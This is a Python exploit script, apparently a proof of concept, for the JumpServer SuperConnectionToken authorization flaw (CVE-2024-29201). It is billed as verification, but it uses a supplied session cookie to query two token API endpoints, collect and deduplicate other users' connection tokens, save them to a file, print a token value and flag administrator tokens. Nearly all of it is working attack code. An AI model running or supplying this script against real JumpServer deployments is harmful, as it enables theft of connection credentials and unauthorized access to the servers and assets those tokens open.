#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
JumpServer SuperConnectionToken 越权漏洞验证脚本 (CVE-2024-29201)
用法: python exp.py -u http://127.0.0.1:91/ -C "jms_sessionid=xxx; ..."
"""

import requests
import argparse
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def normalize_token(token):
    """标准化令牌用于去重（使用 id 或 value 作为唯一标识）"""
    return token.get('id') or token.get('value') or str(token)


def fetch_tokens_from_url(url, headers):
    """从指定 URL 获取令牌列表"""
    try:
        resp = requests.get(url, headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            if isinstance(data, list):
                return data
            elif 'results' in data:
                return data['results']
            elif data:
                return [data]
        return []
    except Exception:
        return []


def save_tokens_to_file(tokens, filename="JumpServer-Cookie.txt"):
    """将所有令牌保存到文件"""
    try:
        with open(filename, "w", encoding="utf-8") as f:
            json.dump(tokens, f, indent=2, ensure_ascii=False)
        return True
    except Exception as e:
        print(f"[-] 保存文件失败: {e}")
        return False


def main():
    parser = argparse.ArgumentParser(description="JumpServer SuperConnectionToken 越权漏洞验证")
    parser.add_argument("-u", "--url", required=True, help="JumpServer 地址，例如: http://127.0.0.1:91/")
    parser.add_argument("-C", "--cookie", required=True, help="认证 Cookie，包含 jms_sessionid")
    args = parser.parse_args()

    base_url = args.url.rstrip('/')
    cookie = args.cookie

    headers = {
        "Cookie": cookie,
        "Accept": "application/json",
        "User-Agent": "Mozilla/5.0,404LM-Scan"
    }

    urls_to_check = [
        f"{base_url}/api/v1/authentication/super-connection-token/",
        f"{base_url}/api/v1/resources/super-connection-tokens/"
    ]

    all_tokens = []
    token_set = set()

    print("[*] 正在探测以下接口:")
    for url in urls_to_check:
        print(f"    - {url}")

    for url in urls_to_check:
        print(f"\n[+] 尝试访问: {url}")
        tokens = fetch_tokens_from_url(url, headers)

        if tokens:
            print(f"[+] 从 {url} 成功获取 {len(tokens)} 个令牌")
            # 去重后加入总列表
            for token in tokens:
                key = normalize_token(token)
                if key not in token_set:
                    token_set.add(key)
                    all_tokens.append(token)
        else:
            print(f"[-] 从 {url} 未获取到有效令牌")

    if not all_tokens:
        print("\n[-] 所有接口均未返回有效令牌，可能无权限或已修复。")
        return

    print(f"\n[+] 总共获取 {len(all_tokens)} 个唯一连接令牌！")

    saved = save_tokens_to_file(all_tokens)

    # 展示第一个令牌作为示例
    token = all_tokens[0]
    user = token.get('user_display', token.get('user', 'N/A'))
    asset = token.get('asset_display', token.get('asset', 'N/A'))
    value = token.get('value', 'N/A')
    expired = token.get('is_expired', 'Unknown')

    print(f"\n[其中一个令牌信息，完整数据已保存至 JumpServer-Cookie.txt]:")
    print(f"  用户: {user}")
    print(f"  资产: {asset}")
    print(f"  令牌值: {value}")
    print(f"  是否过期: {expired}")

    if "Administrator" in str(user) or "admin" in str(user).lower():
        print("\n[!] ⚠️ 发现管理员令牌！存在高危越权风险！")
    else:
        print("\n[?] 未发现明显管理员令牌，但仍建议人工核查所有令牌权限。")

    if saved:
        print(f"[+] 完整数据已保存至: JumpServer-Cookie.txt")


if __name__ == "__main__":
    main()